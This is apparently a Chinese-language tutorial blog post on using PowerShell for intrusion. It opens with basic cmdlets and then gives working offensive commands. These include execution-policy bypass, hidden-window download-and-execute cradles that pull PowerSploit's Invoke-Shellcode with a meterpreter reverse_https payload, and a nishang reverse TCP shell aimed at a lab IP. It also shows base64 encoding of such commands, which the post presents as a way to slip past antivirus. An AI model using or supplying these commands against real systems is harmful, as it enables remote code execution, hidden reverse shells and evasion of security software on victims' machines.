'powershell基础'

powershell特点

1、win7以上默认安装
2、脚本可在内存中运行,不需要写入磁盘
3、几乎不会触发杀软
4、可远程执行

5、很多工具都是基于powershell开发
6、cmd.exe的运行通常会被阻止,但是powershell的运行不会
7、可用于管理活动目录(AD)
输入"Get-Host"或"$PSVersionTable.PSVERSION"查看powershell版本

操作系统对应的powershell版本表

基本概念

1、 .ps1文件
powershell脚本扩展名为".ps1"
2、 执行策略
为防止使用者执行恶意脚本,powershell提供了执行策略,可使用如下命令进行查询
Get-ExecutionPolicy
Restricted:脚本不能运行(默认为此选项)
RemoteSigned:在本地创建的脚本可以运行,但从网上下载的脚本不能运行(有数字证书签名的除外)
ALLSigned:仅当前脚本由受信任的发布者签名时才能运行
Unrestricted:允许所有脚本运行
通过set-ExecutionPolicy+策略选项进行设置其他策略(需管理员权限)

3、管道
各个管道符的含义

PS:linux没有单个and符(&),&符在linux中表示在后台运行,所以linux中用;分号,其它三个符号都相同
举例:get-process p* | stop-process
表示让所有正在运行、并且名字为p开头的程序,停止运行

常用命令

新建目录:New-Item susu -type Directory
新建文件:New-Item test.txt -type File
删除目录:Remove-Item 文件或目录
显示文本内容:Get-Content test.txt
设置文本内容:Set-Content test.txt -Value “Hello,word!”
追加内容:Add-Content 1.txt -Value “fuck you”
清楚内容:Clear-Content test.txt

1、绕过本地文件权限并执行
将powerup.ps1上传到目标机,在命令行环境下,执行如下命令,绕过安全策略
powershell.exe -ExecutionPlicy Bypass -File powerup.ps1
或powershell.exe -exec bypass -Command “& {import-module C:\powerup.ps1; invoke-AllChecks}”

2、从公网下载脚本,绕过本地权限并隐藏执行

1
PowerShell.exe -Exec Bypass -W Hidden -NoP -NonI "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1')";Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.37.132 -Lport 4399

https://raw.githubusercontent.com/cheetz/PowerSploit/master/CodeExecution/Invoke--Shellcode.ps1
https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1
参数说明:
-ExecutionPolicy Bypass(-Exec Bypass):绕过安全策略,很多情况安全策略规定powershell不能运行命令和文件
-windowStyle Hidden(-W Hidden):隐藏窗口
NonInteractive(-NonI):非交互式模式,powershell不为用户提供交互式的提示
NoProfile(-NoP):powershell控制台不加载当前用户的配置文件
-noexit:执行后不退出shell。在使用键盘记录等脚本时非常重要
-nologo:启动时不显示版权标志的powershell

PS:图中我是先将公网上的ps1脚本下载下来,然后部署到kali上实验的,而且我未开启-W Hidden隐藏窗口!
(感觉Invoke–Shellcode.ps1脚本有问题,没有成功反弹shell,成功的大佬联系我,呜呜呜,现在建议用nisahng的Invoke-PowerShellTcp.ps1,测试-W Hidden之后是正常反弹shell的)

1
2
3
4
反弹shell语句写在脚本最后一行
Invoke-PowerShellTcp -Reverse -IPAddress 192.168.37.132 -Port 4399
目标机执行命令如下
PowerShell.exe -Exec Bypass -W Hidden -NoP -NonI "IEX(New-Object Net.WebClient).DownloadString('http://192.168.37.132:8080/Invoke-PowerShellTcp.ps1')";.\Invoke-PowerShellTcp.ps1

3、使用base64对powershell命令编码(经测试会被win10自带杀软干掉)

1
echo "IEX(New-Object Net.WebClient).DownloadString('http://192.168.37.132:8080/Invoke--Shellcode.ps1');Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 192.168.37.132 -Lport 4399 -Force" >raw.txt

https://raw.githubusercontent.com/darkoperator/powershell_scripts/master/ps_encoder.py
chmod a+x ps_encoder.py
./ps_encoder.py -s raw.txt
之后目标机执行如下命令即可

1
Powershell.exe -Nop -NonI -W Hidden -Exec Bypass -enc "base64代码"

4、运行32位和64位powershell
在64位操作系统中,有x64和x86两个版本powershell,他们互不影响,可以当成独立得两个程序

1
2
3
4
运行32位脚本命令:
powershell.exe -NoP -NonI -W Hidden -Exec Bypass
运行64位脚本命令:
%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass